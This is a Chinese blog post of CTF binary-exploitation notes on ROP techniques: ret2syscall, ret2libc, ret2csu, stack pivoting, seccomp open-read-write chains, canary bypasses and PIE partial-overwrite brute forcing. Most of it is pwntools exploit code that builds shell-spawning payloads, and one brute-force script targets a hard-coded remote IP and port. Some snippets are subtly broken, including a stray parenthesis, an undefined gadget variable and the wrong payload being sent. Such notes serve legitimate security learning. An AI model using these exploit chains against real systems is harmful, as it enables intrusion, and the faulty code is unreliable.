栈溢出之 ROP分类

前言

NX保护的开启导致直接注入shellcode的攻击失效
不过我们可以在栈溢出的基础上,进行ROP(Return Oriented Programming,返回导向编程),利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程
所谓gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。

ROP需要如下条件:

  • 程序存在溢出,并且可以控制返回地址。

  • 可以找到满足条件的 gadgets 以及相应 gadgets 的地址。但是如果PIE开启,在每次加载程序时都变换加载地址,就不能通过 ROPgadget 等一些工具来帮助解题了。这时候需要动态获取地址。

32位和64位ROP区别:

32位的程序是不靠寄存器传参完成函数功能实现,他靠的是栈上数据传入参数。

64位程序前6个参数依次存放于 rdi、rsi、rdx、rcx、r8、r9 寄存器中, 第7个以后的参数存放于栈中。

exp-Templates

exp.py:

from pwn import *
import os

binary_name = "./pwn"
context.bits = 64
context.arch = 'amd64'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h', '-F', '#{pane_pid}', '-P']
port = 0
ip = '10.13.21.1'
# p = remote(ip,port)
# libc  = ELF('./libc.so.6')

p = process(binary_name)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
rop = ROP(binary_name)

def libc_sym(s):
	try:
		res = libc.sym[s]
	except:
		log.warning("[-] Can't find sym", s)
	return res

sla         = lambda delim,data         :p.sendlineafter(delim, data)
rl          = lambda                    :p.recvline()
ru          = lambda delims             :p.recvuntil(delims)
uu32        = lambda data               :u32(data.ljust(4, b'\0'))
uu64        = lambda data               :u64(data.ljust(8, b'\0'))

sh_str              =          next(libc.search(b'/bin/sh'))
system              =          libc_sym('system')
__free_hook         =          libc_sym('__free_hook')
__malloc_hook       =          libc_sym('__malloc_hook')
__realloc_hook      =          libc_sym('__realloc_hook')
puts                =          libc_sym('puts')
# stdin             =          libc_sym('stdin')
# stdout            =          libc.sym('stdout')
def cmd(c):
	sla("> ", str(c).encode())
	
# ------------------------------------------------------
# type your exploit here:


p.interactive()

如何寻找gadget

ROP是图灵完备的,在漏洞利用中,常用的gadget 有:

  • 保存栈数据到寄存器

    pop rdi; ret;
    pop rsi; ret;
  • 系统调用

    syscall; ret;
    int 0x80;ret;
  • 影响栈结构的gadget ,可栈迁移等

    leave; ret;
    pop rbp; ret;

ret2text

有后门

ret2shellcode

存在RWX段
一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码

# 三十二位
shellcode = asm(shellcraft.sh())
# 六十四位
shellcode = asm(shellcraft.amd64.sh())

ret2syscall

系统调用大法好!

常用于静态编译的程序

execve(“/bin/sh”,NULL,environ) 必能返回shell, 比system(‘/bin/sh’)稳定

查看系统调用号
32位
vim /usr/include/x86_64-linux-gnu/asm/unistd_32.h

cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep read

64位
vim /usr/include/x86_64-linux-gnu/asm/unistd_64.h

cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep read

注意,有时静态编译的程序溢出点ida不准确,需要gdb调试察看:
生成paddding:cyclic 40

0x1. 当溢出空间充足,可往程序中的bss段写入/bin/sh,最终ROP执行execve系统调用

64位:

系统调用传参为rax,rdi,rsi,rdx, syscall

pop rax ; 59
pop rdi ; "/bin/sh" 's addr
pop rsi ; 0
pop rdx ; 0
syscall

示例寻找gadgets
ROPgadget --binary r3 --only "pop|ret" | grep rax
alt+t ,在ida中搜索syscall 找到syscall_ret的gadgets

read调用号为0,写入/bin/sh

payload1 += flat([
	pop_rax_ret,0,
	pop_rdi_ret,0,
	pop_rsi_ret,bss_addr,
	pop_rdx_ret,8,
	syscall_ret
])

execve调用号为0x3b , payload

payload += flat([
	pop_rax_ret,0x3b,
	pop_rdi_ret,bss_addr,
	pop_rsi_ret,0,
	pop_rdx_ret,0,
	syscall
])

32位:

系统调用传参为eax,ebx,ecx,edx, int 0x80

pop eax ; 0xb
pop ebx ; "/bin/sh" 's addr
pop ecx ; 0
pop edx ; 0
int 0x80

alt+t ,在ida中搜索int(5个空格)80h 招到int_0x80_ret的gadgets
简单程序往往无pop_ecx_ret,故需要找一下mov类的gadgets
ROPgadget --binary r3 --only "mov|ret" | grep ecx

read调用号为3,写入/bin/sh

payload += flat([
    pop_eax_ret,data_addr,
	mov_ecx_ret,
	pop_eax_edx_ebx_ret,3,8,0,
	int80h_ret
])

execve调用号为0xb,执行系统调用,payload

payload += flat([
    pop_eax_ret,0,
	mov_eax_to_ecx_ret,
	pop_eax_edx_ebx_ret,11,0,data_addr,
	int80h_ret
])

ROP

64位与32位ROP区别

区别为:

  1. 传递参数,在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,而不是32中通过栈来传递参数,前6个参数依次存放于 rdi、rsi、rdx、rcx、r8、r9 寄存器中,第7个以后的参数存放于栈中

  2. 在ubuntu18以上的版本,64位的程序若包含了system(“/bin/sh”),就需要考虑堆栈平衡。system函数,有一个指令要求rsp+0x40的值是16字节对齐。p/x $rsp+0x40

  3. ROPgadget –binary ret2libc –only “pop|ret” | grep rdi

    ROPgadget –binary ret2libc –only “ret”

ret2libc

首先需要泄露出在got表中的libc函数地址,计算其与libc中的偏移,进而得到程序加载时libc的基地址,绕过ALSR和PIE保护,再劫持函数执行流程去执行getshell或者ORW。

# payload
payload = b'a'*(offset+8)
payload += flat([
    ret,
    rdi,libcbase+ next(libc.search(b'/bin/sh\x00')),
    libcbase+libc.sym['system']
])
 )

ret2csu

当栈溢出空间足够大且got表有值时可用

ret2csu->执行execve(“/bin/sh”,0,0),是ROP溢出空间足够大的通解

去修改 rdi rsi rdx 寄存器的值

原理

在 64 位程序中,函数的前 6 个参数是通过寄存器传递的,但是大多数时候,我们很难找到每一个寄存器对应的 gadgets。 这时候,我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。这个函数是用来对 libc 进行初始化操作的,而一般的程序都会调用 libc 函数,所以这个函数一定会存在。我们先来看一下这个函数 (当然,不同版本的这个函数有一定的区别)

.text:00000000004005C0 ; void _libc_csu_init(void)
.text:00000000004005C0                 public __libc_csu_init
.text:00000000004005C0 __libc_csu_init proc near               ; DATA XREF: _start+16o
.text:00000000004005C0                 push    r15
.text:00000000004005C2                 push    r14
.text:00000000004005C4                 mov     r15d, edi
.text:00000000004005C7                 push    r13
.text:00000000004005C9                 push    r12
.text:00000000004005CB                 lea     r12, __frame_dummy_init_array_entry
.text:00000000004005D2                 push    rbp
.text:00000000004005D3                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:00000000004005DA                 push    rbx
.text:00000000004005DB                 mov     r14, rsi
.text:00000000004005DE                 mov     r13, rdx
.text:00000000004005E1                 sub     rbp, r12
.text:00000000004005E4                 sub     rsp, 8
.text:00000000004005E8                 sar     rbp, 3
.text:00000000004005EC                 call    _init_proc
.text:00000000004005F1                 test    rbp, rbp
.text:00000000004005F4                 jz      short loc_400616
.text:00000000004005F6                 xor     ebx, ebx
.text:00000000004005F8                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400600
.text:0000000000400600 loc_400600:                             ; CODE XREF: __libc_csu_init+54j
.text:0000000000400600                 mov     rdx, r13
.text:0000000000400603                 mov     rsi, r14
.text:0000000000400606                 mov     edi, r15d
.text:0000000000400609                 call    qword ptr [r12+rbx*8]
.text:000000000040060D                 add     rbx, 1
.text:0000000000400611                 cmp     rbx, rbp
.text:0000000000400614                 jnz     short loc_400600
.text:0000000000400616
.text:0000000000400616 loc_400616:                             ; CODE XREF: __libc_csu_init+34j
.text:0000000000400616                 add     rsp, 8
.text:000000000040061A                 pop     rbx
.text:000000000040061B                 pop     rbp
.text:000000000040061C                 pop     r12
.text:000000000040061E                 pop     r13
.text:0000000000400620                 pop     r14
.text:0000000000400622                 pop     r15
.text:0000000000400624                 retn
.text:0000000000400624 __libc_csu_init endp

这里我们可以利用以下几点

  • 从 0x000000000040061A 一直到结尾,我们可以利用栈溢出构造栈上数据来控制 rbx,rbp,r12,r13,r14,r15 寄存器的数据。

  • 从 0x0000000000400600 到 0x0000000000400609,我们可以将 r13 赋给 rdx, 将 r14 赋给 rsi,将 r15d 赋给 edi(需要注意的是,虽然这里赋给的是 edi,但其实此时 rdi 的高 32 位寄存器值为 0(自行调试),所以其实我们可以控制 rdi 寄存器的值,只不过只能控制低 32 位),而这三个寄存器,也是 x64 函数调用中传递的前三个寄存器。此外,如果我们可以合理地控制 r12 与 rbx,那么我们就可以调用我们想要调用的函数。比如说我们可以控制 rbx 为 0,r12 为存储我们想要调用的函数的地址。

  • 从 0x000000000040060D 到 0x0000000000400614,我们可以控制 rbx 与 rbp 的之间的关系为 rbx+1 = rbp,这样我们就不会执行 loc_400600,进而可以继续执行下面的汇编程序。这里我们可以简单的设置 rbx=0,rbp=1。

  • gadget1 = gadget2 + 0x16

完整版:
使用时注意参数pop的顺序,可能有出入

def ret2csu(padding, rbx, rbp, r12, r13, r14, r15, ret_addr):  
    payload = padding  + fakeebp# 需要加上rbp,后跟ret_addr
    payload+= p64(gadgets1)     # gadget1     
    payload+= b'b'*8            # add rsp,8
    payload+= p64(rbx)          # rbx  0
    payload+= p64(rbp)          # rbp  1
    payload+= p64(r12)          # call [r12+rbx*8]->jmp 某got表项(间接地址)
    #正序  注意调整
    payload+= p64(r13)          # rdx - 参数1  
    payload+= p64(r14)          # rsi - 参数2  
    payload+= p64(r15)          # edi!! - 参数3,nopie可以传bss,无法传入大于4字节的如栈的地址
    payload+= p64(gadgets2)     # gadget2  
    payload += b'c' * 0x38      # 抬高7*8个字节   
    payload += p64(ret_addr)    # 返回地址  
    p.sendline(payload)
    

简易版:

def csu(r12,r13,r14,r15,ret_addr):  
    gadget1= 0x400596
    gadget2= 0x400580
    payload = b"a"*(offset+8)  
    payload += p64(gadget1)  
    payload += b'b'*8  
    payload += p64(0)  
    payload += p64(1)  
    payload += p64(r12)  
    payload += p64(r13)#参数1  
    payload += p64(r14)#参数2  
    payload += p64(r15)#参数3  
    payload += p64(gadget2)  
    payload += b'c' * 0x38  
    payload += p64(ret_addr)  
    p.sendline(payload)

# 关键是找到/bin/sh的地址 和 构造执行execve
csu(write_got,1,write_got,8,main_addr)
write_addr = u64(sh.recv(8))
read_addr = elf.got['read']
offset_addr = write_addr-libc.symbols['write']
execve_addr = offset_addr + libc.symbols['execve']

csu(read_addr,0,bss_addr,16,main_addr)
p.send(p64(execve_addr)+'/bin/sh\x00')

csu(bss_base,bss_base + 8,0,0,main_addr)

栈迁移(frame faking)

核心需求:由于溢出长度不够,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址,这一点与 stack pivoting 相似

解析:

栈迁移.png

在我们介绍基本的控制过程之前,我们还是有必要说一下,函数的入口点与出口点的基本操作

入口点

push ebp  # 将ebp压栈
mov ebp, esp #将esp的值赋给ebp

出口点

leave
ret #pop eip,弹出栈顶元素作为程序下一个执行地址

其中 leave 指令相当于

mov esp, ebp # 将ebp的值赋给esp
pop ebp # 弹出ebp

程序正常退出时的leave是这样的:

执行完之后:

所以总结leave的效果:
sp为原bp+8(4),bp为*原bp
若ret到再次leave:
sp为*原bp+8(4), bp为**原bp

rsp指针在payload中游动,rbp处于高地址坚如磐石

栈溢出不外乎两种方式

  • 控制程序 EIP
  • 控制程序 EBP

其最终都是控制程序的执行流。在 frame faking 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。一般来说其 payload 如下:

buffer padding|fake ebp|leave ret addr|

栈迁移专属通用exp:

思路:

第一次栈迁移进行RBP修改让下次输入指向我们想要的地方
第二次栈迁移修改RSP让程序正常
第三次正常rop构造
第四次等同第一次
第五次getshell rop链

最后的利用链可以分为:

  1. ret2one_gadget
  2. ret2system
  3. ret2execve(用csu,未提供)

exp:

from pwn import *
p=process('./test')
elf=ELF('./test')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

main = 0x400537
rdi=0x4005d3
read_leave=0x40054b
ret=0x400568
offset = 0x20
bss=0x601000+0x500

p.recv()
pay=b'a'*offset+p64(bss)+p64(read_leave)#rbp
p.send(pay)

pay1=b'a'*offset+p64(bss+offset)+p64(read_leave)#rsp
p.send(pay1)

pay2=p64(bss+offset+0x10)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)
p.send(pay2)

leak=u64(p.recv(6)+b'\x00'*2)
libcbase=leak-libc.sym['puts']
print(hex(libcbase))

sys=libcbase+libc.sym['system']
execve =libcbase + libc.sym['execve']
sh=libcbase+next(libc.search(b'/bin/sh\x00'))

pay3=b'a'*offset+p64(bss+offset+0x20)+p64(read_leave)#rbp
p.send(pay3)

def csu(r12,r13,r14,r15,ret_addr):
    gadget1 = 0x4005c6
    gadget2 = 0x4005b0
    # payload = b'a'*offset+b'k3ppf0r3'
    payload = b'a'*8
    payload += p64(gadget1)
    payload += b'b'*8
    payload += p64(0)
    payload += p64(1)
    payload += p64(r12)
    payload += p64(r13)# rsi
    payload += p64(r14)# rdi
    payload += p64(r15) # rdx
    payload += p64(gadget2)
    payload += b'c'*0x38
    payload += p64(ret_addr)
    p.sendline(payload)

# pay4=p64(0)+p64(libcbase + 0x4f302)
pay4=p64(0)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
p.send(pay4)
p.interactive()

栈溢出沙盒

通用模板

orw
orp

第一次构造个read在我们要的bss段上写入flag字符串

第二次的rop如同下面的exp那样构造orp

安装流程:

sudo apt install gcc ruby-dev  

gem install seccomp-tools  

使用方法 :

seccomp-tools dump ./xxx

示例程序:

#include<stdio.h>  
#include<fcntl.h>  
#include<unistd.h>  
#include<stddef.h>  
#include<linux/seccomp.h>  
#include<linux/filter.h>  
#include<sys/prctl.h>      
#include<linux/bpf.h>   
#include<sys/types.h>  

void init()  
{ 
  setbuf(stdin, 0LL);  
  setbuf(stdout, 0LL);  
  setbuf(stderr, 0LL);  
    
}  
void sandbox(){  
        struct sock_filter filter[] = {  
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,4),  
        BPF_JUMP(BPF_JMP+BPF_JEQ,0xc000003e,0,2),  
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0),  
        BPF_JUMP(BPF_JMP+BPF_JEQ,59,0,1),  
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL),  
        BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW),  
        };  
        struct sock_fprog prog = {  
        .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),  
        .filter = filter,  
        };  
        prctl(PR_SET_NO_NEW_PRIVS,1,0,0,0);  
        prctl(PR_SET_SECCOMP,SECCOMP_MODE_FILTER,&prog);  
}  
void main()  
{  
    init();  
    sandbox();  
    char buf[0x48];  
    printf("%s\n","Today is a good day no right man?");  
    read(0,buf,0x100);  
}

ORP

对应EXP:

from pwn import *  
r=process('./good')  
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')  
elf=ELF('./good')  
context.log_level='debug'  

rdi=0x400843  
rsi_rdx=0x400841  
main = 0x400790
bss = 0x601200

r.recv()  
#puts(puts_got)  
pay = b'a'*0x58
pay += flat([
    rdi,elf.got['puts'],
    elf.plt['puts'],
    main
])  
r.sendline(pay)  
leak = u64(r.recv(6)+'\x00'*2)  
log.info(hex(leak))  
libc_base=leak-libc.sym['puts']  
log.info(hex(libc_base)) 

r.recv()  
# read(0,bss,0x40)
pay1 = b'a'*0x58
pay1 += flat([
    rdi,0,
    rsi_rdx,bss,0x40,
    libc_base+libc.sym['read'],
    main
])
r.send(pay1)  
r.send('flag')  

r.recv()  
# open read puts
# syscall(2,bss,0) => return 3
pay2 = b'a'*0x58
pay2 += flat([
    rdi,0x2,
    rsi_rdx,bss,0,
    libc_base+libc.sym['syscall']
])
# read(3,bss,0x100)
pay2 += flat([
    rdi,3,
    rsi,bss,0x100,
    libc_base+libc.sym['read']
])
# puts(bss)
pay2 += flat([
    rdi,bss,
    libc_base+libc.sym['puts'],
    main
]) 
r.send(pay1)  
print(r.recvuntil("}"))

ORW

open_ = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
puts = libc_base + libc.sym['puts']

orw = flat([
    rdi,flag,
    rsi,0,
    rdx,0,
    open_,
    rdi,3,
    rsi,buf,
    rdx,0x30,
    read,
    rdi,1,
    write
])

Canary 绕过

原理:

基础知识(CTF-wiki):https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary/#_1

当程序启用 Canary 编译后,在函数序言部分会取 fs 寄存器 0x28 处的值,存放在栈中 %ebp-0x8 的位置。 这个操作即为向栈中插入 Canary 值,代码如下:

mov    rax, qword ptr fs:[0x28]
mov    qword ptr [rbp - 8], rax

值得注意的是,有些题目会魔改,将canary的位置改变

如果 Canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail__stack_chk_fail 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定,定义如下。

eglibc-2.19/debug/stack_chk_fail.c

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

这意味可以通过劫持 __stack_chk_fail 的 got 值劫持流程或者利用 __stack_chk_fail 泄漏内容。

进一步,对于 Linux 来说,fs 寄存器实际指向的是当前栈的 TLS 结构,fs:0x28 指向的正是 stack_guard。

typedef struct
{
  void *tcb;        /* Pointer to the TCB.  Not necessarily the
                       thread descriptor used by libpthread.  */
  dtv_t *dtv;
  void *self;       /* Pointer to the thread descriptor.  */
  int multiple_threads;
  uintptr_t sysinfo;
  uintptr_t stack_guard;
  ...
} tcbhead_t;

如果存在溢出可以覆盖位于 TLS 中保存的 Canary 值那么就可以实现绕过保护机制。

四大绕过

1.泄露栈中的 Canary

I.覆盖’”\x00”字节读取

由于canary是在栈中的,而一般情况下为防止read、printf等函数直接读出canary的数据,canary都是以\x00为结尾设计的。这时我们可以利用换行符在将buf填充满之后会将\x0a覆盖至canary结尾的\x00覆上,这样就能顺利的读出canary的数据了,之后再将cannary-\x0a即可得到真实的canary的数据

测试程序:

//gcc a.c -no-pie -m32 -fstack-protector -z noexecstack -o a
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
    system("/bin/sh");
}

void init() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
}
void vuln() {
    char buf[100];
    for(int i=0;i<2;i++){
        read(0, buf, 0x200);
        printf(buf);
    }
}
int main(void) {
    init();
    puts("Hello Hacker!");
    vuln();
    return 0;
}

利用条件:

  • 存在read作为输入,read 并不会给输入的末尾加上 \0, 这就给了我们 leak 栈上内容的机会, gets就不行,它意味着字符串的末尾肯定会存在\x00
  • 存在printf等读出字符串的函数
  • 可以两次栈溢出
    • 第一次是覆盖00字节,泄露canary
    • 第二次是利用canary进行攻击
II.格式化字符串读取

首先确认当前输入的文本在栈中的位置

构造payload等于aaaa- +n个%x-

然后观察输出,直到输出中包含61616161,即4个a的ascii码。如下所示:

root@kali:~/ctf/Other/pwn/CanaryTest# ./test
Hello Hacker!
aaaa%x-%x-%x-%x-%x-%x-%x-%x-
aaaaffeea598-200-8049243-f7f05d20-0-61616161-252d7825-78252d78-

数出61616161出现的位置,这里出现在栈中第6个位置,对应第6个%x

从调试我们知道从栈顶到canary的距离是0x70-0xc,而printf中的一个%x会输出4个字节,因此间隔了(0x70-0xC)/4=25个%x,因此从第6个%x开始,再输出25个%x就是canary的值

payload_1 = b'%x-' * ( 6 + 25)

第二次进行溢出获取shell

利用条件:

  • 存在格式化字符串漏洞

    printf(buf);
  • 可以两次栈溢出

2.one-by-one 爆破 Canary

对于canary,虽然每次进程重启后canary会不同,但是同一个进程中的不同线程的canary却是相同的,并且通过fork函数创建的子进程中的canary也是相同的,因为fork函数会直接拷贝父进程的内存

最低位为0x00,之后逐位爆破,因此32位的话要循环3次、64位的则需要循环7次,每次从ascii码中取。

利用条件:

  • 要求程序中有fork函数,可以使程序扩展子程序
  • 程序可以无限输入,无输出函数

3.劫持__stack_chk_fail 函数

SSP Leak, 全称是Stack Smashing Protect Leak ,这种方法没办法让我们getshell,但是我们可以利用这种方法获取到内存中的值,比如当flag在内存中储存时,我们就可以利用这个方法来读取flag

在函数结尾处检查canary时,若canary被改变,则程序在终止之前会执行__stack_chk_fail函数

如果我们可以利用程序中的漏洞(比如格式化字符串)改got表中stack_chk_fail的地址为one_gadget的地址就能getshell。

利用条件:

  • 当flag在内存中储存时,我们就可以利用这个方法来读取flag

  • 栈溢出的长度可以覆盖掉程序中argv[0],它默认指向文件名

  • glibc < 2.31, 这个方法在 glibc-2.31 之后不可用了, 具体看这个部分代码 fortify_fail.c

例题见:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/fancy-rop/#32c3-ctf-readme

4.覆盖 TLS 中储存的 Canary 值

当程序在创建线程的时候,顺便会创建一个TLS(Thread Local Storage),该TLS会存储canary的值,而TLS会保存在stack高地址的地方。所以,当我们溢出足够大的字节,就可以控制TLS结构体,进而控制canary,实现ROP。

pwndbg>canary
pwndbg>search -8 0xb32920cddd17400 (canary)

使用canary命令,确定当前canary的值为0xb32920cddd174c00。pwndbg顺便给出了栈上其他地方存在0xb32920cddd174c00的地址。而这些地址很有可能就是TLS中存放canary的地址。

计算一下偏移, 写个脚本逐个尝试。我们首先假设canary为0xdeadbeef,然后将函数返回地址劫持到main函数,随后我们溢出足够长的字节,并写入我们设定的canary

p = process('./tls')
p.recvuntil("How many bytes do you want to send?")
main_addr=0x0400A9D
offset = 0x1010-8
offset_tls = # unknown

payload += b'a'*offset # paddding
payload += p64(0xdeadbeef)  # canary
payload += p64(0x0) # bp
payload += p64(main_addr) # ret address
payload += b'\x00'*(offset_tls-offset-8-0x10)   # paddding
payload += p64(0xdeadbeef) # tls.canary

p.sendline(str(len(payload)).encode())
p.send(payload)
temp = p.recvall()
print(temp)
p.interactive()

逐个尝试,如果返回了main函数,就说明我们劫持成功。

利用条件:

  • 溢出字节够大,通常至少一个page(4K)

  • 创建一个线程,在线程内栈溢出

PIE 绕过

开启PIE后,动态库libc的基址还是程序本身基址、栈、vdso都发生了变化。开启ASLR+PIE后你发现二进制程序基址、got表、plt表、bss段地址都是不确定的都变成了偏移,之前的攻击方法大部分都失效了。

局部覆盖(partial overwrite)+爆破

应用程序是按页加载到内存中的,一个内存页大小为0x1000

开启PIE后单个内存页并不会受到影响,这就意味着不管基址怎么变,某一个内存页中的某一条指令的后三位十六进制数(低12位)的地址是始终不变的。

因此我们可以通过覆盖地址的后几位来实现控制程序的流程。局部覆盖的局限是它仅仅影响一个内存页,覆盖地址范围仅从0x0 – 0xfff。

三位16进制数是3*4=12bit,而12bit是1个半字节,在执行覆盖时无法操作1个半字节,所以选择写入两个字节

最后半个字节进行爆破,范围是0x0到0xf,即[0x0-0xf]610,每轮爆破16次,大约循环爆破几轮就能命中

half_byte = 0x231
while half_byte <= 0xf231:
    try:
        # p.process("./pwn")
        log.info("half_byte: " + hex(half_byte))
        payload = b'a'*(offset-8) + canary+ p64(0xb) + p16(half_byte)
        p.send(payload)
        out = str(p.recvuntil(b"welcome\n"))
        if 'flag{' in out:
            log.success(out)
            break
        half_byte = half_byte + 0x1000
    except Exception as e:
        # 程序会fork 就注释
        # p.close()
        print(e)

信息泄露

利用 格式化字符串漏洞或覆盖’”\x00”字节泄露返回地址,该泄露功能仅用一次即可。

我们运用load_base = leak_addr – file_offset公式就可以轻易算出二级制程序加载的基址,有了基址我们就可以轻易算出各函数plt的地址。

有了plt地址,劫持流程到plt后,开启PIE的二进制程序puts@plt后面不在是地址,puts对应的got表项地址是随机的(Got表起始地址随机了),是动态算出来的,不能再向前面那样直接获得,该地址依赖ebx寄存器的值,而我们构造的payload可能会破坏保存的ebx的值导致加载puts函数的got地址错误而执行失败。

故需要得到ebx中装载的值,ebx装载的值是got.plt也就是got表起始地址。不开启PIE时,GOT表起始地址和各got表项值都是固定的。

再就可以按照绕过ASLR的信息泄露步骤,即泄露出libc基地址,完成exp。

第一步,运用程序泄露的地址计算出二进制程序加载的基址。

from pwn import *
context(arch = 'i386', log_level='debug')
p = process("./pwn")
leak_addr = u32(p.recvline())
pro_base = leak_addr - 0x6ec

第二步是通过第一步计算得到的程序加载基址计算出puts函数对应puts@plt、got.plt的起始地址、puts函数got表项地址、、main函数地址,同时利用rop技术,通过上面搜寻到的rop链把got.plt的起始地址装载到ebx寄存器中,最后完成对puts函数的调用并继续泄露出puts函数在内存中的真正加载地址(泄露got表地址)。

main = pro_base + 0x68d
puts_plt = 	pro_base + 0x4c4
pop_ebx_ebp_ret = pro_base + 0x606
ebx = pro_base+ 0x19b0 # got.plt base addr
put_got = ebx + 0x20 # puts_got
ebp = 0x41414141 # any 

...

payload = b'a'*(offset+4) 
# 泄露libc base
payload += flat([
    pop_ebx_ebp_ret,ebx,ebp,
    puts_plt,
    main,
    puts_got
])
leak = u32(p.recv(4))
log.warning("leak:0x%x" % leak)
base = leak-puts_plt
log.warning('LIBC:0x%x' % base)
payload = flat([
    ret,
    rdi,sh_str+base,
    system+base
])
sla('\n', b'\0'*0x18+payload)
p.interactive()

花式栈溢出

无leak,无PIE,无Canary,只有gets

选择覆盖栈上的ld中的_dl_init+139的后两位,由于gets会附着\x00,故爆破覆盖到one_gadget

pwndbg> stack 25
00:0000│ rsp  0x7fffffffe398 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov    edi, eax
01:0008│      0x7fffffffe3a0 ◂— 0x1
02:0010│      0x7fffffffe3a8 —▸ 0x7fffffffe478 —▸ 0x7fffffffe6d9 ◂— 0x6667682f746e6d2f ('/mnt/hgf')
03:0018│      0x7fffffffe3b0 ◂— 0x1f7ffcca0
04:0020│      0x7fffffffe3b8 —▸ 0x400420 ◂— sub    rsp, 0x18
05:0028│      0x7fffffffe3c0 ◂— 0x0
06:0030│      0x7fffffffe3c8 ◂— 0xf086047f3fb49558
07:0038│      0x7fffffffe3d0 —▸ 0x400440 ◂— xor    ebp, ebp
08:0040│      0x7fffffffe3d8 —▸ 0x7fffffffe470 ◂— 0x1
09:0048│      0x7fffffffe3e0 ◂— 0x0
... ↓
0b:0058│      0x7fffffffe3f0 ◂— 0xf79fb00f2749558
0c:0060│      0x7fffffffe3f8 ◂— 0xf79ebba9ae49558
0d:0068│      0x7fffffffe400 ◂— 0x0
... ↓
10:0080│      0x7fffffffe418 —▸ 0x7fffffffe488 —▸ 0x7fffffffe704 ◂— 0x504d554a4f545541 ('AUTOJUMP')
11:0088│      0x7fffffffe420 —▸ 0x7ffff7ffe168 ◂— 0x0
12:0090│      0x7fffffffe428 —▸ 0x7ffff7de77cb (_dl_init+139) ◂— jmp    0x7ffff7de77a0

python 脚本:

from pwn import *


context.log_level = 'debug'
elfpath = './gets'
elf = context.binary = ELF(elfpath)



def exp(ip, port):
    for i in range(0x1000):
        if args['REMOTE']:
            p = remote(ip, port)
        else:
            p = process(elfpath, timeout=2)
        # gdb.attach(p)
        try:
            payload = 0x18 * b'a' + p64(0x40059B)
            for _ in range(2):
                payload += b'a' * 8 * 5 + p64(0x40059B)
            # 有概率在libc中报错,进而泄露libc版本
            payload += b'a' * 8 * 5 + p16(i)
            # payload += 'a' * 8 * 5 + '\x16\02'
            p.sendline(payload)

            p.sendline('ls')
            data = p.recv()
            print (data)
            if b'flag' in data:
                break
            p.interactive()
            p.close()
        except Exception:
            p.close()
            continue


if __name__ == "__main__":
    exp('106.75.4.189', 35273)

栈溢出之 ROP分类
https://k3ppf0r.pages.dev/2021/09/01/二进制安全/PWN/Stack/ROP分类/
作者
k3ppf0r
发布于
2021年9月1日
许可协议